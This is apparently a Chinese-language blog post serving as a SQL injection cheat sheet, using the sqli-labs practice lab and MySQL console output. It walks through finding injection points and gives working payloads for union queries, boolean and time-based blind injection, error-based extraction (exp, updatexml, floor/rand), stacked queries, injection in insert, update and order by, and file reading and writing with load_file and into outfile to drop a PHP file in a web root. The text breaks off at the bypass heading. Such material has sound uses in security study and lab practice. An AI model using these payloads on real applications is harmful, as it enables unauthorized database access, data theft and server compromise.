什么是SQLi

SQL注入(英语:SQL injection),也称SQL注入SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。(引自wiki)

SQLi产生的原因

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  1. 在应用程序中使用字符串联结方式或联合查询方式组合SQL指令。
  2. 在应用程序链接数据库时使用权限过大的账户(例如很多开发人员都喜欢用最高权限的系统管理员账户(如常见的root,sa等)连接数据库)。
  3. 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸存储程序或是OLE Automation存储程序等)
  4. 太过于信任用户所输入的资料,未限制输入的特殊字符,以及未对用户输入的资料做潜在指令的检查。

整理: Mysql各版本更新及特性

各版本特性:

5.6 5.7 8.0

  1. 4.1 增加了子查询的支持,字符集增加UTF-8,GROUP BY语句增加了ROLLUP,mysql.user表采用了更好的加密算法。

即4.1以上才存在双查询报错注入

  1. 5.0 增加了Stored procedures、Views、Cursors、Triggers、XA transactions的支持,增加了INFORMATION_SCHEMA系统数据库。

即5.0以上才存在利用INFORMATION_SCHEMA查表

  1. 8.0修正了duplicate key报错,报错结果形如:Can't write; duplicate key in table 'path'

即8.0以上不能使用count(), floor(), rand(), group by报错注入

  1. 8.0增加了新特性如table

即8.0以上存在注入和绕过的新姿势

怎么SQLi注入

1. 步骤

  1. 确定网页为动态页面,即有前后端交互
  2. 确定传参方法,如 GET POST
  3. 找到注入点,一般能输入的地方都能试一下 包括但不限于页面可见的参数 header头部参数,用户代理,cookie等
  4. 判断注入类型,通常与5一起判断
  5. 判断闭合符,如', ", () 等
  6. 判断过滤,fuzz一下看看过滤了什么,找到可以替代的方法如substr换mid,concat连接查询关键字等
  7. 确定注入方式,union select,布尔盲注,时间盲注,报错注入,双查询注入,堆叠注入等
  8. 删库跑路( 误

2. 具体情况

1. 判断注入类型

① 数字型

sqli-labs/Less-1/?id=fuck //回显0


原因:str->int时,从左至右读取字符串,若开头为数字,则一直读到非数字时截止,前面读取到的数字全部转为int类型,若开头不是数字,则为0
2. ```
sqli-labs/Less-1/?id=1' and 1=1 //报错
sqli-labs/Less-1/?id=1 and 1=1  //回显,且结果与sqli-labs/Less-1/?id=1一样
sqli-labs/Less-1/?id=1 and 1=2  //无回显

为无引号闭合整数型, 是否存在括号闭合需要进一步判断(如 存在()括号闭合 sqli-labs/Less-1/?id=1 and 1=1--+将会报错)

原因: 加单引号报错,无引号不报错,且无引号是and 1=1有回显且结果同sqli-labs/Less-1/?id=1,说明and 1=1被数据库识别且执行,说明不存在引号闭合(若存在引号闭合,则and 1=1会被识别为字符串)

  1. 括号闭合

    mysql> select id from users where id=(1);
    +----+
    | id |
    +----+
    |  1 |
    +----+
    
    mysql> select id from users where id=(1 and 1=1);
    +----+
    | id |
    +----+
    |  1 |
    +----+
    
    mysql> select id from users where id=(1 and 1=1) and username='Dumb';
    +----+
    | id |
    +----+
    |  1 |
    +----+
    mysql> select id from users where id=(1 or 1=1) and username='Dumb';
    +----+
    | id |
    +----+
    |  1 |
    +----+
    mysql> select id from users where id=(2 or 1=1) and username='Dumb';
    +----+
    | id |
    +----+
    |  1 |
    +----+
    
    mysql> select id from users where id=(2 or 1=1-- ) and username='Dumb';
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

使用注释使得)不被解析,发生语法错误,从而进行测试闭合

  1. ...

② 字符型

  1. 数据被引号闭合起来,即字符型

    mysql> select id from users where id='1'-- ';
    +----+
    | id |
    +----+
    |  1 |
    +----+
    1 row in set (0.05 sec)
    
    mysql> select id from users where id='1'';
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
    mysql> select id from users where id='1"';
    +----+
    | id |
    +----+
    |  1 |
    +----+
    1 row in set (0.04 sec)
    

字符型中 若使用的闭合不正确,错误的闭合符会被当做字符串来处理

  1. ...
  2. ...

2. 判断闭合符

① 若回显报错

  1. 若直接输出错误情况

    sqli-labs/Less-1/?id=1' //报错 for the right syntax to use near '' {1'} ' LIMIT 0,1' at line 1

{}内的部分是我们的输入部分(实际不存在{}) 根据报错可以发现是存在单引号闭合

  1. 若只输出报错,但没有详细错误

    sqli-labs/Less-1/?id=2-1  //回显2 为字符型
    sqli-labs/Less-1/?id=1'   //提示错误
    sqli-labs/Less-1/?id=1"   //回显1
    sqli-labs/Less-1/?id=1'--+//回显1

即可判断为单引号闭合 后续其它闭合符号进一步判断即可

  1. ...

② 若不回显报错

  1. sleep

    sqli-labs/Less-1/?id=1 and sleep(5)--+  //立即回显1
    sqli-labs/Less-1/?id=1" and sleep(5)--+ //立即回显1
    sqli-labs/Less-1/?id=1' and sleep(5)--+ //等待5s后回显1

从而得到'闭合

  1. ...

3. 联合查询

  1. 前提条件:已知注入类型跟闭合符,且回显数据
  2. 步骤:

    1. 判断返回的列数

      order by n#
  原因 :union select联合查询时,每个查询返回的结果应含有相同的列
  1. 判断数据回显的位置

    union select 1,2,3,4,... #
  原因 :数据库查询时,可能并不是所有的数据都回显到页面
  1. 查数据库

    -- 使用 union select 1,2,(payload),4,...from... 拼接即可
    select database();#当前数据库
    select schema_name from information_schema.schemata;#所有数据库
  2. 查表名

    -- 使用 union select 1,2,(payload),4,...from... 拼接即可
    union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()#查找当前所在数据库中的所有表
  3. 查值

    -- 使用 union select 1,2,(payload),4,...from... 拼接即可
    union select 1,2,column_name,4,xxx from (database_name.)table_name

4. 布尔盲注

  1. 当返回的数据具有十分明显的对错特征时,可以采用布尔盲注
  2. 盲注时,为了缩短时间,通常使用二分法加速( ascii字符不超过128,即2的7次方,次数大大减少)
  3. payload的部分函数是可以替换的 具体在绕过部分整理

具体情况

-- mysql5.7上成功
and if((substr((select group_concat(table_name) from information_schema.tables),i,1))<='f',1,0);#把第i个字符跟f比较

-- mysql5.5.53上成功
and if(ord(substr(({payload}),{i},1))<={asciival[1]},1,0)=1#


-- mysql8.0.26上成功
and (table information_schema.tablespaces_extensions limit 0,1)>('a','2')
/*table 表名 等同于 select * from 表名
而(n 列的查询结果)>('flag',2,3,...,n) 可以直接进行比较即可直接盲注出字符串,如下*/
mysql> select if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_syste','0'),1,0);
+------------------------------------------------------------------------------------------+
| if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_syste','0'),1,0) |
+------------------------------------------------------------------------------------------+
|                                                                                        1 |
+------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)

mysql> select if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systf','0'),1,0);
+------------------------------------------------------------------------------------------+
| if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systf','0'),1,0) |
+------------------------------------------------------------------------------------------+
|                                                                                        0 |
+------------------------------------------------------------------------------------------+
1 row in set (0.05 sec)

mysql> select if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systea','0'),1,0);
+-------------------------------------------------------------------------------------------+
| if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systea','0'),1,0) |
+-------------------------------------------------------------------------------------------+
|                                                                                         1 |
+-------------------------------------------------------------------------------------------+
1 row in set (0.05 sec)

mysql> select if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systel','0'),1,0);
+-------------------------------------------------------------------------------------------+
| if((table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>('innodb_systel','0'),1,0) |
+-------------------------------------------------------------------------------------------+
|                                                                                         1 |
+-------------------------------------------------------------------------------------------+

5. 时间盲注

  1. 不返回数据或者对于数据的正确与否没有明显的判断特征,可采用时间盲注
  2. 盲注时,为了缩短时间,通常使用二分法加速
  3. payload的部分函数是可以替换的 具体在绕过部分整理

具体情况

-- sleep()
and if(substr((payload),1,1)>'a',sleep(3),1)#

and if(ord(substr(({payload}),{i},1))<={asciival[1]},sleep(1),0)#

-- 笛卡尔积 heavy query 使用笛卡尔积导致数据量增加,查询时间延长来达到sleep的目的
mysql> select 1 and if(substr((select database()),1,1)<='a',1,(select count(*) from information_schema.tables A, information_schema.tables B, information_schema.tables C));
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 and if(substr((select database()),1,1)<='a',1,(select count(*) from information_schema.tables A, information_schema.tables B, information_schema.tables C)) |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                                             1 |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.96 sec)

mysql> select 1 and if(substr((select database()),1,1)<='t',1,(select count(*) from information_schema.tables A, information_schema.tables B, information_schema.tables C));
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 and if(substr((select database()),1,1)<='t',1,(select count(*) from information_schema.tables A, information_schema.tables B, information_schema.tables C)) |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                                             1 |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)


-- benchmark() 用来测试函数运行时间的,BENCHMARK(10000,md5('a'))即运行10000次md5('a')
mysql> select 1 and if(substr((select database()),1,1)<='r',1,benchmark(10000000,md5('a')));
+-------------------------------------------------------------------------------+
| 1 and if(substr((select database()),1,1)<='r',1,benchmark(10000000,md5('a'))) |
+-------------------------------------------------------------------------------+
|                                                                             0 |
+-------------------------------------------------------------------------------+
1 row in set (1.61 sec)

mysql> select 1 and if(substr((select database()),1,1)<='s',1,benchmark(10000000,md5('a')));
+-------------------------------------------------------------------------------+
| 1 and if(substr((select database()),1,1)<='s',1,benchmark(10000000,md5('a'))) |
+-------------------------------------------------------------------------------+
|                                                                             1 |
+-------------------------------------------------------------------------------+
1 row in set (0.05 sec)


-- pg_sleep(): postgresql9.4
(and | or) (case when (select substr(password,1,1) from users)='a' then pg_sleep(5) else pg_sleep(0) end)

and (select case when(substr((select password from users where username='admin'),1,1)='a') then (select 'roarctf' from pg_sleep(3)) else '1' end)='roarctf'


-- oracle
select * from users where id=1 and if(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';

6. 报错注入

前提:前端能够回显报错信息

20种报错注入姿势

exp:

-- exp:5.5<mysql版本<5.6
-- exp是以e为底的指数函数, exp(n)返回 e^n的值,但由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错
-- 而将0按位取反 (即~0)就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值,如
mysql> select ~(select database());
+----------------------+
| ~(select database()) |
+----------------------+
| 18446744073709551615 |
+----------------------+
-- 从而导致溢出错误
mysql> select exp(~(select * from(select username from users limit 0,1)));
1248 - Every derived table must have its own alias
mysql> select exp(~(select * from(select username from users limit 0,1)a));#这个a是as a的意思,作为括号内的查询语句派生出来的表的别名,防止报1248报错
DOUBLE value is out of range in 'exp(~((select `a`.`username` from (select `security`.`users`.`username` AS `username` from `security`.`users` limit 0,1) `a`)))'
-- 效果如下
mysql> select exp(~(select * from(select user())as a));
DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select exp(~(select * from(select flag from flag)as a));
DOUBLE value is out of range in 'exp(~((select 'flag{test_flag}' from dual)))'

pow:

-- pow:5.5.29测试成功, 5.7.26失效
-- pow(x,y) 返回x^y的值, 原理跟exp类似, 溢出报错
mysql> select pow(~(select * from(select flag from flag)a),9999);
DOUBLE value is out of range in 'pow(~((select 'flag{test_flag}' from dual)),9999)'

updatexml:

-- updatexml:5.5.29-8.0.12均可 其它未测试
/*updateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容*/
-- 使得xpath错误从而报错(xpath中不存在0x7e(即'~'), 使用concat把payload跟~连在一起达到报错的目的)
mysql> select 1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
1105 - XPATH syntax error: '~test~'

extractvalue:

-- extractvalue:5.5.29-8.0.12均可 其它未测试
/*ExtractValue(xml_frag, xpath_expr)
xml_frag: XML标记片段
xpath_expr: XPath表达式(也称为 定位器)
返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素. */
-- 原理跟xpath相同 使得xpath错误
mysql> select 1 and extractvalue(1,concat(0x7e,(select database()),0x7e));
1105 - XPATH syntax error: '~test~'

floor()+rand():

-- floor()+rand():8.0.12版本失败,5.7.26版本成功
-- floor()用于向下取整, 即去尾法取整, rand()用于产生随机数,group by 用于分组, count() 用于计数
/*count() group by时, 会创建一个虚表, 找到不存在于虚表中的数据时, 会把数据插入虚表, 而在查找数据和插入数据执行的时候, rand(), 函数均会执行一次, 这就导致了扫到数据时, rand执行一次, floor后为0, 假设此时虚表中只有1, 则会把数据插入表中, 而插入表的时候, rand再次执行, 变成了1, 这就导致了报错*/
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)));

ceil()+rand():

-- ceil()+rand():8.0.12版本失败,5.7.26版本成功
-- ceil()用于向上取整, 即进一法取整, rand()用于产生随机数,group by 用于分组, count() 用于计数
/*用法同floor*/
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,ceil(rand(0)*2)));

etc...

7. 堆叠注入

若注入点支持多语句查询,用;隔开语句后, 可以执行其他恶意语句

-- 通常;拼接的语句一般用来
-- (1) 查询数据
;select 1,2,3;#
-- (2) 修改数据
;update tablename set columnname = 'value' where colname2='value2';#
-- (3) 增加数据
;insert into users(id,username,password) values ('100','new','new');
-- (4) 读入文件
;select load_file('file_path');
-- (5) 预处理后再执行
;prepare sqli from 'select 1,2,3';execute sqli;#
;set @pwn='select 1,2,3';prepare sqli from @pwn;execute sqli;

8. procedure analyse

procedure analyse可以携带一个报错注入或者时间盲注(包裹在报错中,但不回显)的payload

-- procedure analyse(Mysql5.5.29版本上成功 5.7.26失败)
-- 是MySQL提供的一个分析结果集的接口,以帮助提供数据类型优化建议,可以提供两个参数,两个位置都能用来执行报错注入的payload
mysql> select table_name from information_schema.tables procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
1105 - XPATH syntax error: ':5.5.29'

-- 如果报错不行, 可以用benchmark的时间盲注
mysql> select table_name from information_schema.tables where table_name='flag' procedure analyse((extractvalue(1,concat(0x3a,(IF(MID(version(),1,1) LIKE 4, BENCHMARK(5000000000,SHA1(1)),1))))),1);
1105 - XPATH syntax error: ':1'#这个是说明if条件失败 返回1
mysql> select table_name from information_schema.tables where table_name='flag' procedure analyse((extractvalue(1,concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000000,SHA1(1)),1))))),1);
2013 - Lost connection to MySQL server during query#这个是说明timeout

9. update

-- update语句用|, and, &拼接一个if语句可以盲注
-- 不采用if语句盲注, 而使用报错注入时, 也可以使用or
mysql> update users set username = '2'|if((substr(user(),3,1) like 'o'), sleep(5), 1) where id=1;
Query OK, 1 row affected (5.02 sec)

10. insert

-- insert 同update |, and, &均可
-- 不采用if语句盲注,而 使用报错注入时, 也可以使用or
mysql> insert into users values (16,'K0rz3n','0'| if((substr(user(),1,1)='r'), sleep(5), 1));
Query OK, 1 row affected (5.00 sec)
mysql> insert into users values (15,'K0rz3n','0'| if((substr(user(),1,1)='o'), sleep(5), 1));
Query OK, 1 row affected (0.00 sec)
mysql> insert into users values (15,'K0rz3n','0'|updatexml(1,concat(0x7e,(select user()),0x7e),1));
1105 - XPATH syntax error: '~root@localhost~'

11. order by

-- order by接报错注入
mysql> select * from users order by updatexml(1,concat(0x7e,(select user()),0x7e),1);
1105 - XPATH syntax error: '~root@localhost~'

12. group by

mysql> select * from users group by 1 having (substr(user(),1,1)='r');
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | 2        | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 17 | K0rz3n   | 0          |
+----+----------+------------+
14 rows in set (0.06 sec)

mysql> select * from users group by 1 having (substr(user(),1,1)='o');
Empty set

13. 文件操作

-- 读取文件
select load_file('/var/www/html/1.txt');

-- 写入文件
select '<?php phpinfo();?>' into outfile '/var/www/html/phpinfo.php';

etc...

3. 绕过( bypass)

1.空格

最后修改:2022 年 07 月 19 日 09 : 27 PM
如果觉得我的文章对你有用,请随意赞赏